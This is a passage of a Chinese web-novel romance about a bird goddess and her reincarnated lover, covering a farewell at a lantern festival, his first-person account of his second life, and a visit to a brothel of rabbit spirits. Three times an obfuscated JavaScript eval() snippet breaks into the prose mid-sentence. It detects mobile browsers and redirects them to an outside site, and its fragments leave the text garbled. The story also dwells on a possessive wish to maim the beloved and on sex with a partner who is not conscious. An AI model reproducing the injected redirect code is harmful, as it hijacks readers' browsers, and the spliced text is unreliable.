他不知道该怎么说,静默了半天,待日光挪过窗棂,才别开眼,勉力笑道:“……是我不好。” 苍宁:“什么?” “是我不好。我不该怀疑你,也不该占有你,”他道,“你应当去寻更好的。” 苍宁没想到他会说这样的话,不由恼起来:“你的意思是,我现在的选择是错误的?” “我不是这个意思。” “晏长书,那你是什么意思?” 他把赖以生存的氧气卡在身体里,几乎不能呼吸。 好半天,他才哑着声音,艰难道:“……是我配不上你。” 他抬眸,唇色发白:“是我的错。我太贪心。倘若我能控制自己,没有为一己之私,你也许能另寻良人,走的时候也——” 也不会有任何感觉。 他眨了眨眼,始终说不出口。手僵的,脑袋僵着,连神情也僵着,包括那抹低沉的笑。 苍宁道:“晏长书,你又发什么疯?” “我没有发疯。”他仍旧笑着,这回调整了下,如春风般温柔,“宁宁……” 他笑得像个假人。 苍宁恼得生气。 “宁宁,”他又唤了她一声,挣扎着,问出来,“……你会记得我的,对不对?” - 苍宁根本没有回答他对还是不对。 她心里想了许多许多,可是到了嘴边,只有生气的话语。她骂他不知好歹,气得踹了他三脚,想起净天说别以为晏长书给她铺路就值得信任。 晏长书居然还建议她去找其他男人! 心口不一,连声谎言,说得就是他晏长书! “你叫我去找别人,是不喜欢我?” 晏长书摇头:“我喜欢你,宁宁,只喜欢你。” 她看不懂晏长书。 她气得又踹了一脚。 夜里二人仍约着去看莲花灯,有垂髫小儿放烟火,星如雨般。暗色的河流哗哗响着,一盏盏莲花灯恰如银河中的星子,缓慢闪烁。 苍宁等他买了两盏莲花灯,自己往上写字。 她不愿意和他说话,先写了晏长书几个字,赌气划掉,沾了满满的墨汁,因为不好看了,就丢在他怀里,拿一个新的,点上灯。 小小的烛火在苍宁手中颤动,她将莲花灯放入河水中,晏长书提醒她:“没写愿望。” “不想写。” 晏长书又买了两个新的,苍宁自己不写,要让晏长书写,看看他会写些什么。 苍宁还以为晏长书会写让她留下之类的话,再不济,也是拯救苍生之类的话,谁知,他只是画了一只小鸟团子。 一副咋咋呼呼,精神饱满,正飞在空中骂人的模样。 因为小鸟团子过于眼熟,苍宁忍不住笑出声,瞪他一眼。 “你画的什么。” “之前救助的小鸟,”柔和的烛光闪烁,照映出他浅浅的笑,“很早之前捡到了她,那时候羽毛都断了,灰扑扑的,可是很有精神,一直在我手上蹦跶,我就只能看着她了。” 什么? 苍宁情不自禁追问:“然后……呢?” “现在好了,大约在哪里玩儿吧。”他把手里的莲花灯放入河中,随着众人的心愿一齐流向远方。 “小鸟总是要歇歇脚,也总是要飞的。经过了一段枝头,就会前往下一段枝头。” 晏长书把手中另一盏莲花灯递给苍宁,“宁宁,给你。” 莲花灯没点燃,是专门给她准备的。她可以点亮它。 水光和烛光交织成金,苍宁在柳树下,静静地看着他。 风声,人的笑声,周围的嘈杂声。 所有的声音都这么大,可晏长书还是在一瞬间屏蔽了四周所有的声响,准确地抓住了她的话。 “晏长书,我要走了。” 晏长书维持着脸上的笑容。 时间仿佛静止了。 苍宁抿唇,把心里想了好几天的话全部说出来。 她想着,不管晏长书能不能听懂,不管晏长书能不能领会,反正他现在是一个凡人——正如他自己说的,他是“一段枝头”。 等她把所有情绪和对晏长书想说的话,全都说完之后,她就会像消除柳家郎君的记忆一样,消除晏长书的记忆。 如此一来,事情就不会因为她的忽然而至,产生任何不该有的变动。 苍宁深吸一口气道: “我不是凡人,我就是你带回家的小鸟啊。晏长书,上次你是不是看见我和小狐狸说话了?我告诉你,我可是神鸟,能得到我的喜欢,是件了不得的事情,你怎么能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030043|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出叫我另寻良人的话来?我若是不喜欢你,何必来寻你,你真是可恶至极!” 晏长书静静听她说: “你真是个混蛋!——你这条混蛋死蛇,与我在卍象图中卿卿我我,转头就抛下一堆疑惑投胎转世,我已经寻了你两世了,第一世算有我几分错,但我绝不是忘了回来,而是天上天下的时辰对不上。我回凡间时,你已经死了。我这才知道,我本不该来找你的,本不应当,这一世只是意外。” 她的话让他疑惑,更让他脸色差极:“只是意外?宁宁,你为什么要说这样的话……” “是我太想找到你了,我太想弄明白到底怎么一回事。你总是担心我不喜欢你,可是你知道事实是什么吗?你,晏长书,我从认识你到现在,从来不知晓你究竟是什么身份,是什人,到底经历了什么,我对你一无所知,就这样莫名其妙对你产生了好感,哈——也许还要怪你长得太对我胃口吧——所有人都说晏长书根本不会喜欢我,你听明白怎么一回事了吗?” 晏长书抿唇,黑眸透着几分光。 “晏长书,从来都不是你在等我。你在卍象图里等着我恢复,等着我醒来,我在凡尘里等着你回到西天,回到真正的你身上。我们等来等去,不知要等到什么时候。有时候,我觉得和你一直待在人世也很快乐,快乐到我不想离开,但是更多时候,我都想知晓,真正的晏长书到底是什么样呢?” 他抿唇:“那我……你的意思是,我不是真的我?” “我不知道。”苍宁抚过他的眉眼和面颊,说道,“我也想知晓,众人口中的你,和现在的你,到底什么哪个是你。” 他被巨大的信息量淹没,黑眸流露出几分偏执和晦暗,沉声道:“我就在你面前,为何……要听旁人的?难道我们之间一切都是假的?” “不假。”苍宁道,“真的不能再真了。不过,小狐狸说过,爱也许是靠记忆维持的。晏长书,等你有了全部的记忆,你还会这么说么?” 他不语。 灿灿光河中,他极力控制着自己的呼吸,不让凌乱的思绪在外伸出千百只手抓住她,伤害她。 他多想将她留下。 用无情的绳索,凶狠的性/爱,甜腻腻的亲吻,卑劣的自残。 若是能将她的羽毛拔下来,让她再也不能飞行,如同遇见她时,断了羽毛,只能灰扑扑地躺在他的手掌心,哪里都不能去,便能留在他的身边。 若是能砍断她的双腿,叫她无法移动,他就能当一个好好大夫,永远为她疗伤解痛。 她会记得他一辈子。 永远永远。 可是在苍宁落下最后一吻时,晏长书什么都没有做。 他只是接受了她的亲吻,和她唇中送入的术法。 他眼尾发红,黑眸中淌着流光,所有思绪都黏在他自己身上,叫他成为无人理会的小丑。 四片唇瓣难舍难分,勾连出一段暧昧的,飘落于空中的银丝。 “宁宁……就算,就算我不是真正的他……”他的声音很低,几乎在哀求她。 她只是笑了笑,继续捏诀儿。 “晏长书,暂时忘记这一切吧。我会在来日等你的,你要好好活着,不许做坏事,也不许干傻事,知道吗?” 河边的莲花灯仍旧向前,霎时间,对岸放起了巨大的烟火,如花如星。 一明一暗间,晏长书身旁已然没有了人影。 他手里的莲花灯是暗着的,没点燃。 他要说出口的话,也没来得及说。 胸膛处,卍字扳指发着烫。 但始终不及心跳带来的滚烫。 沿街对岸,所有人都在仰望转瞬而逝的烟花,唯有他将未燃烛火的莲花灯,送入了不停息的河水中。 他看向水流的方向。 “……没用呢,怎么办?” 和第一世轮回一样,他没有忘记。 晏长书笑了笑,叹出刀割般挤出的气息。 她在等真正的他么?什么是真正的他?难道他算不得真?难道听凭别人说了几句,他就是假? 她说的来日,又是多久? 下一世吗?下一世吗?下一世?下一世他必定要将她抓在手心,叫她…… 晏长书冷笑。 她说过来寻他只是意外。 如果他有下一世。 她还会要他吗? 50. 第二世·番外 出生于钟鸣鼎食之家,再失去一切,应当是我的宿命。 以至于卍字戒发亮时,我以为自己有了不同的命运:但这是我的错觉。 - 又一个儿时,我在史册中读到我曾经的王朝,被冠以禽兽王朝之名。 我仿佛又看见了母亲跪倒在佛像前的身影。 不管曾经有多少人为这个王朝付出过心力,都压不过那个结果。 烟消云散。 我忽然笑出了声音。 从小跟着我的小厮阿风问我,郎君为何发笑? 我摇头不语。 那尊佛像倒塌了,高家倒塌了,而如今,我又有了新的家。 我从来没有想着要去王朝故地寻旧,过去的便是过去了,我不追寻已经死去的时间,但这并非意味着我对过去从无感情。 旁人会这么认定。 晏家倒塌的时候,我没有哭。 我站在众人的棺木前,被指责冷血无情。 过去爬上来巴结晏家的门户对我唾弃不已,只有柳家人过来,给了我救命钱。 “晏兄,节哀。”柳家郎君拍着我的肩膀,低声安抚,“去日不可追,来日犹可期。晏兄,只要尚有一名,便能在天地之间寻得一席之地。” 我低声言谢。 哭是无用的。我实在太过熟悉这轮回,太知晓这种滋味,神佛看我,不过是人看狼追鹿。 僧人告诉我,你要忍受。 我虚心请教,如何忍受? 放下一切。接受一切。 于是,我试图在天地之间接受一切,接受无聊,无意义,伤痛病苦,接受我自己。 但我仍旧礼佛。我心底还有愿景。 一日,我在路边看见有人要溺死一个孩子,孩子不过几个月大,冻得哭都哭不出来,在襁褓中直哆嗦。 我阻止那人,那人却说孩子是丧门星,谁碰谁倒霉。 我用言语改变不了那人的心意,便用钱买下他,为他取名念安。 “他会克死你。” 我笑道:“我命硬。” 若要这么说,我克死了一代王朝,克死了晏家,我才是丧门星。 我没有养孩子的经验,但耐着性子倒也让他活了下来。 他也命硬,能在世间走一遭,和我成了两个丧门星。 看见他得以存活,我倒觉得我有点意义。我凭靠儿时所学,又或是天赋使然,为人治些小病小痛。 念安长大后,常有数不清的问题。每逢询问父母之事,我都会含糊其辞。 待他得知自己是弃婴后,他也没有哭。他只是拧着叶子同我说,从来没有得到的话,便无所谓了。 “我现在也很好。只是……晏大夫,”念安问,“宁宁是什么药?” 我手一顿,虚虚回应了一声,表示疑惑。 念安从一堆药方中找出几张纸,小脸上满是疑惑:“晏大夫给自己的药方上,总是写着‘宁宁’二字,那是什么药?” 我把药方拿回来,看见自己难受时留下的字迹,含糊道:“嗯,是我的药。” 我把药方拧成一团,像是念安拧叶子。 念安见我动作,继续整理药方,过了半晌,没忍住,同我说:“晏大夫,每次你说很重要的事情的时候,都会含糊其辞,我早就知道了。” “嗯?” “所以,装傻是没有用的,宁宁一定是很贵重的药,你用不起,对吧?” 我笑了笑:“对。” 实在是很贵重,我除却梦中无处可寻,也无人可说,只能祈求神佛,将心底的愿景当做生活下去的动力。 我很想见她一面。 哪怕只有一面。 这是我唯一放不下的执念。 直到青鸾啼阳那一日,曲阳城的百姓说,瑞鸟降世,必有大吉。失踪的柳家郎君从浮刻山回来,城中到处都在发生喜事。 我沉寂已久的心猛烈跳动着,在一众跪拜的人群中慌忙寻找,却始终找不到她的身影。 会是她吗? 她是回来找我的吗? 可很快,我就认清了一件事:我已经轮回转世,她要找,也应当是回到王城那片废墟,不会来这里找我。 这一世,她不知晓我在此处,怎么可能会来这里找我呢? 我站在祈拜的人群中,显得格格不入,心灰意冷地回到医铺,却发现翘角的屋檐上滚下来一只灰扑扑的小鸟团子。 我手疾眼快地捧住它—— 小鸟团子四仰八叉,鸟毛凌乱,但我仍旧能辨认出鸟羽花纹。 那是我曾在她动情时见过的尾羽,是她的羽毛,我不会忘记。 我的心再度猛跳起来,将她带回医铺。 我感觉自己活了过来,连被小鸟团子咬都有意思。 神佛终于听见了我的声音。 - 可不知道为什么,小鸟团子看起来总是气鼓鼓的,还会流眼泪。 我为她清洗干净,她扑腾翅膀飞走了,并没有瞧我一眼。 念安说,小鸟不亲人。 我低低嗯了一声,将盆中水倒掉,念安提醒我去换衣裳。 我没有换。 等衣裳上的水都干透了,我才不得不接受这个事实:她不是回来找我的,她变成这副模样,来到曲阳城,都是意外。 我以为自己锻炼了两世,能接受一切,可我接受不了。 当夜,我翻来覆去,没有一点睡意。 我确认自己和上一世生得一模一样。她没有认出我吗?她——把我忘记了吗? 她说喜欢我,是假的吗? 所以她才没有回来,是吗? 我的念头一点点变得极端,直到天明时,我在凤凰木上看见了她。 小鸟团子在风中鼓起羽毛,一点点梳理,啾啾得叫。 她回来了。 她留下来了。 那时,我的脑中只有一个念头: 至少,我可以看见她。 - 我装作没发现她,在窗台上放了小碟子,里面装上她爱吃的小麦,肉和水果。那是上一世她告诉我,她喜欢吃的食物。 她果真来吃。吃完就回到凤凰木上,梳毛,梳得干干净净,漂漂亮亮。 但小小一团鸟,骂人却很大声,还会趁我不在时,把新买的彩纸全部咬烂,留下一堆鸟丫子痕迹。 我站在一旁看,念安问我为什么傻笑。 “晏大夫,这都乱成一团了你还笑,是不是被小鸟气疯了?” 我还没有疯。 我喜欢看见她在我生活里留下的痕迹,让我觉得这一切不假。 但我也发觉,她变成这样,的确是不对劲。念安说,是因为小鸟发情了。 我愣了愣。 我不知晓神鸟也会发情。 那该怎么办? 她也在忍受吗? 那日,柳娘子来寻我,说起柳家郎君的病情,我见她哭泣,认真安抚了几句。 小鸟团子忽然飞过来,砰砰敲窗,尾巴上的彩纸掉了几条,啾得格外大声。 她好像很不满。 念安过来,大声说她发情了,她一反常态,忽然忘记扇翅膀,掉下去了。 我心一紧,忙叫念安去寻,可是没寻到。 她没有回到凤凰木上,她不见了。 翌日一早,念安在小碟子上发现她生下两枚拇指大的蛋。 是没受过精的白蛋。 她大约是羞愤不已,再度消失,可夜晚,我睡得不安稳时,却在梦中窥见了她的身影。 她如魅影,与我交/缠,我在梦中含着她的唇瓣,喟叹赐予我的美梦,直到她将我咬疼了,我才猛然清醒过来。 ——不是梦! 她双眸迷离,香汗淋漓,喊我的名字。 我心尖发颤,几乎不能呼吸。 她记起我了吗? 她想我吗? 像我想她那样吗? ——不,没有。 她面颊浮着不正常的潮红,并无意识。 她只是在渴求慰藉。 …… 我不愿在这样的情况下与她交/合,试图给她盖上被子,让她安睡,她把被子踢开,缠着我,埋怨,哭诉,撒娇。 她唤我的名字,让我看她。 我浑身战栗,用残存的理智为她纾解。 她绞着我,那样难舍难分,我的意识在她的柔软中沉沉浮浮,最后要了水,将她擦拭干净。 我没有留下我的痕迹。 就当是一场梦,一夜迷情。 反正…… 倘若她神志清醒,定然会像白日那样离我远去。 可是知晓是一回事,做到又是另一回事。 我回来时,她还在我的医铺里。 我满心期待她会和我说些什么,她却兴高采烈地要我做她的哥哥。 我的心如坠冰窟,恨不得叫她看看,她昨夜缠着我的画面。 “都说送佛送到西,哥哥只当好人做到底吧。”她含笑对我说,“日后,等我离开,定会记得好哥哥的恩情的。一路走来,有人帮了我,我都没有忘记过他们的恩情。” 没忘? 难道……每当她出现这种情况,都会有一个男人,安抚她吗? 那些好哥哥会吻她吗?会抱她吗? 会碰她吗? 我嫉妒得发疯,拼尽全力镇定着,直到她说只有我才停息疯狂的想法。 如果当哥哥,她是不是能停留地久一点? 她不是常人,只当她的哥哥,也很不一样。 可这个想法无法说服我自己。 白日里,我和自己赌气,也和她赌气,离她远远的。 当然,我也害怕自己碰见她,失去了自己的理智。 毕竟和她在一起,我总是会违背我的想法。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030044|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她倒好,叫哥哥叫得风生水起,给我立一堆规矩,自己却没半分规矩,平日里想着法子靠近我,勾我的手,摸我的脸,我一沉下脸,她反而叉着腰要生气。 “晏哥哥讨厌我吗?” 怎么会呢? ……我拿她没办法。 我那么想她,无法无动于衷。 夜里,我抱着她,帮她纾解,让她快乐,觉得自己对她多少有些用处。 我喜欢她在我怀里睡着的时刻。她睡得沉而安心,留有机会让我幻想她是爱我的。 在天将明前,我会依依不舍地将她抱回她的床上,吻吻她的脸颊。 我以为我会知足,可是没有。 人永远不会知足,而是会在现有的基础上不断膨胀欲望。 我开始想要她回应我,想要她的驻足,不想要她离开我去救人——不论那个男人是谁! 表面上的不在乎终于在日复一日中如冰裂纹,再也无法维持。我听见她说起那个人的好,知晓自己永远也没能力做到,却再也没有办法像从前那样劝说自己让她离开,另寻所爱。 我要她在这里。 我要她爱我。 我要她只爱我。 不论她有多少个好哥哥,不论她爱着谁,她夜晚都在我的怀中,抵死缠绵。 她将我压倒,气呼呼地问我脖颈上的咬痕,我只是问她,问她要不要和我试试。 她那么生气,给了我两巴掌。 ……也好,她给我的,我都受着。 只是晚上,我忍不住在她耳边控诉,希望她来爱我。 若她知道夜晚缠着的人是我呢? 会不会不一样? 她会生气吗? 若气到离开,也好。记住我的不齿,也好。 我的理智早已被压缩到只剩下一层薄纸,她的每个字,每个动作,每句叹息都可以刺破。 她享有刺痛我的权力,将我搓圆揉扁,呼之即来挥之即去,我从未给其他任何人这样的权力。可就算她将我扎得遍体鳞伤,她仍旧是神明给予我的恩赐,我的欲念,我生命之外的生命。 她让我觉得,我真真切切地活着。 而我心中那些可耻的想法,只需要她短短几个字,便可以消除。 倘若允许,倘若她愿意,她能不能将我揣在怀里,拧成一团,切成片,弄得乱七八糟,将我带走? 不——不能。 我们度过了几天甜蜜的日子。 一日,念安告诉我,她已经离开。 我知晓她心中仍旧惦记着要去浮刻山救她的心上人,那个据说为她消耗两百年等她明白,等她醒来的,可以在粉衣男面前炫耀的男人。 我借马驰往浮刻山,却在中途晕了过去,在神明之力面前,凡人无法比肩,但我恳求她回来,她回到了我的身边。 我没有高兴太久,因为,她只是回来和我告别。 看莲花灯的时候,她说没有别的男人,她长篇大论说些我听不懂的话,她说我不是真正的晏长书,说在等的人不是我,而是她。 她不愿意留下任何心愿。 而是希望抹去她在我心中的痕迹,就此消失。 我一点儿也不明白。 如果我不是我,那么我是谁? 如果她不是因为我而留下,那她通过我在看谁? 什么轮回什么回归什么乱七八糟的,为什么她可以听信其他人的言语,却忽视我就站在她的面前? 为什么? 为什么不愿意留下一个愿望,为什么本不应该来找我,为什么对我那么狠心呢? 她没有回答。 她没有解开我的疑惑,她只是走了,就像她不曾来过。 - 这一世,我没有婚配。日子过得很平淡,救了不少人。 垂垂老矣时,念安已然成了家。 念安带着两个小女孩回医铺看我,说想把我接到新房子里,安享晚年。 “晏大夫为何不用药?” 他新开的药,我没有喝,他很生气。 “晏大夫为何不爱惜自己的身体?” “缺了一味药,治不好的,算了吧。” 我叹气,“人已迟暮,不必浪费钱了。” “您怎能这么说……” “我知晓的,我活不长了。” 这回,我和他谁都没有说话,连两个小娃娃也不说话了。 一想到要离开人世,我竟然一点也不难过。 平日里,我总想着她也许会回来,就像成为小鸟团子忽然回到我身边那样,如果她心里有我,一定会回来看我一眼。 我就这样抱着一点希望活到现在,可是没有。 一次都没有。 所以,于我而言,连死亡都变成了一种希望。 也许下一世,便是她口中的来日。 她会来见我。 只要我不曾忘记。 51. 间章·五 苍宁离开曲阳城前见的最后见的是小狐狸。 小狐狸捧了很多花儿过来,换她的蝴蝶。 月色下,小狐狸歪着头,甩了甩尾巴,说苍宁看上去心情很差。 苍宁如实回答:“有点差。” “为什么?” “柳家郎君离开时,你也是这样吧。” “但是没有你这样难受。”小狐狸道,“你好像在哭。” “没有!” “那就没有。” 过了很久,苍宁才抹了一把脸,嘟囔道:“好吧,我哭了又怎样。” 小狐狸飞机耳道:“也许你很喜欢他。既然你喜欢他,为什么要抹去他的记忆呢?” “我有不得不走的理由。有时候我分不清楚……” “分不清楚什么?” 苍宁挣扎半天,把疑惑说出口:“分不清楚什么是报恩,什么是喜欢,也分不清楚什么叫做真正的他。我一直不明白,但是没有人告诉我。” 小狐狸不懂,但是小狐狸只听,不评判对错。 “那你去尝试喜欢别人吧。”小狐狸建议,“只要多和其他郎君接触,你就知晓喜欢是件难能可贵的事情呢,而且根本不会弄不清,因为喜欢这件事特别特别简单,特别特别清楚。” “是吗?” “对呀,我亲柳家郎君的时候,就没有感觉。所以我喜欢的是阿连。”小狐狸说,“不过,我不舍得离开喜欢的人。凡人的命很短的,等你想起来的时候,他们忽然就死了。然后,就忽然不认识你了。一切都很突然。” “……我知道。” - 苍宁回西天在晏长书的房里捣鼓了半天。 在五色石的帮助下,小花恢复魂魄指日可待。 可她躺在床上,浑身哪里都觉得不对劲。 不对劲。 她摸到心口,发觉心跳得不太对劲。 她每日吃不好,睡不好,完全没有帮助他人修行的愉悦,也不像自己离开那样洒脱。 不吃东西的九九八十一日,苍宁睡得不知春夏秋冬,睡得昏天黑地。 小罗汉灵尘来找她,说她必须动一动,苍宁懒得动,闭眼睡觉,要睡到小花苏醒。 灵尘询问:“大人没有讨教使用尊者力量的法子吗?” “嗯哼。” “如果净天不愿意教,恐怕只有等尊者亲自教吧。” “谁要他教啊,他到时候没准儿弃我于不顾,还要甩脸子骂我。” “啊,怎么会?” 苍宁不想想这件事才睡的,现如今一听见晏长书的事,又气得醒了。但她不明白自己是在气晏长书,还是在气自己。 她一个翻身坐起来,认真地问:“不是你将晏长书比为世尊,我为鹰吗?现在我到处走了一圈,所有是个人物的,都要告诉我晏长书对我无意,要我别陷进去。现在你来说说,晏长书平日到底是什么样的人?” 灵尘结结巴巴道:“……是因为我,我不是个人物?” “你看见的比较真实吧,”苍宁眯眼抄手,食指点着小臂,“他很冷漠?” “也不是冷漠。尊者他……活得很久,知晓万物法则,呃……只是看见老虎吃鹿不阻止,也算冷漠吗……” “冷漠。”苍宁哼声,“他和人说话怎样?性格怎样?听说他相当高高在上?” “也……没有吧。但尊者确实不会满足每一个人的愿望。其他的我也不是很了解,尊者……尊者和我距离没有那么近啊。” “那你告诉我,现在轮回转世的晏长书,算不算真正的晏长书?” 灵尘呆呆地蹦出一个字:“啊?” 这是什么说法? “你就告诉我,是不是?” “这……这……”灵尘尴尬道:“也许……不算是,因为没有……尊者的记忆也不是……完全体?” “那就好啦,你们说的都对,你们赢了。”苍宁砸床,“我不再想了,我现在就要收拾东西走人。” “大人,你去哪?” 苍宁阴阳怪气道:“我?我不睡了,不等了!我去逍遥快活,我要让我的心定下来,先发制晏长书。” “大人?大人!” 灵尘没有喊回苍宁。 苍宁便收拾好东西,没了踪迹。 - 苍宁从没有碰见这种情况。 自己的心跳不受自己控制,闷闷地疼。 她蹲在树杈子上啄毛,把自己打理得漂漂亮亮,仍然解不开心头闷痛,用草叶将貔大虎唤出来,站在貔貅头上连声叹息。 该死的貔貅出来就问:“五十金?” 苍宁抛出了一百金。 貔大虎嘎吱嘎吱,吃到一半才发现多出了金子。 貔貅的嘴巴就是称!绝对不会出错! 貔大虎端坐在原地,歪着貔貅头,小鸟也歪着头,两只兽头对爪,四只眼睛互相打探,各怀鬼胎。 貔大虎刚想问苍宁是不是被晏长书刺激得发疯了,苍宁便先发制貔貅,问道:“貔大虎,你变人给我看看。” “啧,我不。” “怎么,你不做人了?” “本大爷……”貔貅大眼睛胡乱转,眯起来,“晏长书怎么你了,回来就发神兽病?” “你管我,你快变。” 貔大虎懒得和她理论,只好变作翩翩美男,风流倜傥的模样,一双眼眸微微上挑,有几分顾盼多情。 苍宁以小鸟团子模样站在他肩膀上,歪着头看了他半晌,说道:“人面兽心。” 貔大虎:?! “本大爷这叫风流倜傥!” “你看上去是挺俊的,但是没有俊到我的心坎上。” 貔大虎:??? “苍宁,你鸟眼不识俊貔貅,是不是眼睛有毛病啊?” 苍宁没有毛病,苍宁给出了两个选择,要么带她变强,提升卍字法,要么带她去寻欢作乐。 这卍字术法,天地间除却晏长书,谁会给她?貔大虎自然有心无力。若是带她寻欢作乐,那还是有不少选择。 貔大虎选择进入苍宁的小金库,那里又好玩又好吃,每一块儿香喷喷的金子都是貔貅的宝贝。 可苍宁不要。她非要去找郎君,找些俊俏的,能让她开心的,不输晏长书的郎君。 貔大虎说道:“晏长书还没有回归尊者,你就受情伤了?” “谁说我受情伤了?”苍宁嘀咕道,“不会说话就闭嘴。闭嘴闭嘴。” 小鸟团子扑腾翅膀,显得格外凶恶。 “那我去哪里给你找那么多郎君?”貔大虎啧了一声。真是的,鸟族真的好吵!苍宁怎么一点也不随她娘亲呢?都怪那个咋咋呼呼的死家伙—— 苍宁下命令道:“你赶紧想想!” 神界郎君虽多,但个个都有些怪癖,要么就是慈祥小老头,不符合苍宁口味。貔大虎细细一想,倒还真想着一个地方,但需要花些真金白银。 他带苍宁寻着个小倌馆,名曰楚风楼,里头的郎君是兔儿精,个个温柔俊俏,说话又好听,有独家妙法,定制幻化为客人心中人,哄得客人心满意足。 苍宁戴着兔儿面具进去,便被郎君团团围住,一个二个恭维起苍宁的美貌来,说她是天仙下凡。 可苍宁分明戴着兔儿面具,哪能看到她的面容? 左边这位,身姿纤长,柔弱可欺,苍宁都害怕自己一用劲儿把他手折了。 前头这个,嬉皮笑脸,让人讨厌。 后头那个,感春悲秋,矫揉造作。 右边那个,衣裳花哨,吵到她的眼睛。 这么一瞧,个个都不合心意。 偶然间,苍宁瞧见一个长身玉立的影子,倒是有几分像晏长书,可惜人影一闪而过,怎么寻都寻不到。 貔大虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030045|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说她心里有人,看谁都不顺眼,苍宁不服气,取一个雅间,躺在花瓣床上,唤了几位郎君过来。 几位郎君鼓瑟吹笙,为首的郎君舞姿迤逦。他生得算是周正,但眼尾坠着一颗小小的红痣,莫名生出一股子媚气。 一舞毕后,他捧着葡萄跪在苍宁床边,微微歪着身子,领口半敞着,显出一段风流来。 苍宁倒是不讨厌,半撑着头,黑发流墨般淌在身侧,瞧他慢条斯理地剥葡萄。 手指修长而苍白,几近透明的果汁带着些许乳色,淅淅沥沥往他手指上落下来…… 苍宁瞬间想起一些不可言说的场面。 “等等。”苍宁出声。 那郎君闻声抬头。 她问道:“你叫什么名字?” “大人,我叫欢奴。” “取之何意?” 欢奴将葡萄剥开,送到苍宁唇边,微微笑道:“大人与我,能享尽天下极尽缠绵快乐之事。” 他眉眼含媚,苍宁盯了半晌,没有吃下葡萄,让他放到盘子里。 欢奴身后的郎君换了支曲子,苍宁嫌吵,叫他们滚出去,只留下欢奴,让他剥葡萄。 欢奴剥了一颗又一颗,手都剥麻了,苍宁侧身躺着,光看着他的手,并不看他。 他伺候过不少贵女,也算得上伶俐,招人喜欢。 可这位大人却不声不响,难以揣摩。 他继续剥葡萄,一盘子晶莹剔透,没人吃。好不容易剥完了,苍宁只说再剥一盆,然后看着他吃掉。 欢奴苦笑:“大人嫌弃欢奴么?” “你剥葡萄好看。”苍宁懒懒地打了个哈欠,“让我想起一个人。” “是大人的心上人?” 苍宁睨着他:“算不上。” 欢奴用软布擦干净手,将手交叠在床边,仰着脑袋,轻声言笑:“大人既然来了楚风楼,便放一万个心。只需要将我当成大人心里想的人……不管他是大人的情人,还是敌人,大人想怎么对他,就怎么对我。” 苍宁垂眸:“当真?” “自然,”欢奴欺身往上,目光流转在苍宁面容上,“穷极狎昵,欺辱凌打,我什么都受得住。只要大人愿意,我可变作那人模样,只求大人尽兴。” 欢奴的语调轻而迤逦,苍宁一动不动,只是问道:“你既非爱我,也用不着报恩,为什么愿意做这些?” 欢奴噗嗤一笑,迎上来,勾着她的脖颈:“我虽与大人有利益相交,但此刻情意也是真的。” “怎么算真?” 欢奴垂头,欲要吻她,苍宁身体比念头先动,捂住了他的口唇。 她疑惑道:“你要吻我,便算作情意真么?” 欢奴眨眸道:“来往的大人无一不是为了抛却烦恼,享一时快活,大人何必想那么多?” 他这样一说,叫苍宁更迷惑。 明明他方才还说情意是真,现在又说何必想那么多,岂非自相矛盾? 但稍作细想,苍宁便明白了,这情意是钱眼子里蹿出的真来,得到好处那刻的欢欣总是做不了假,真真假假,只看当局者图的是什么。 欢奴图的是她口袋子里的金子,她却想在这里寻些真意。 别人她是万万管不着的,只是轮到自己,就觉得有股子腥臊气,恶心。 她推开他,翻身叹道:“你下去吧。” “大人稍等,可不可以……”欢奴扶着她的手,触碰到他的胸膛。 苍宁回眸瞧过去,欢奴转变人形,渐渐幻化为她眼熟的面孔。 漆黑的眼眸深如潭水,面容清冷如玉,长在她心坎上的俊逸。 欢奴变作的,赫然是晏长书的模样。 他跪在床下,点漆的双眸浮着点光,似乎在克制些什么,又在转瞬间烟消云散。 他低声,求她:“……可不可以再给我一次机会?” 苍宁心尖一颤。 52. 不存在的第三世·一 苍宁不是心软,她不清楚旁人见到一个相似之人是何感受,但她心惊肉跳,总有伪人的恐怖之感。 若偏要这样,还不如给一场幻术来得逼真。 欢奴靠在床边,极尽卖弄之能事,可苍宁无意寻欢,只是反问:“你们兔儿精不好生修炼,为何都愿意陪笑?” 欢奴哎呀呀两声,叹气:“大人是不满意欢奴,觉得欢奴术法不精……” “是不太精。”苍宁道,“你顶着他的脸,半像半不像的,太奇怪。” 欢奴灰心丧气道:“我们兔儿精繁衍得快,哪有那么多天资聪颖之辈。之前在外吸阳气,偶碰着了个心冷的男鬼,阻挠我们兔儿精,说我们修行的法子不是正道。这世道里,我哪里有那么多法子,活下来才是正道呢。” “那男鬼不让,你们便从?” 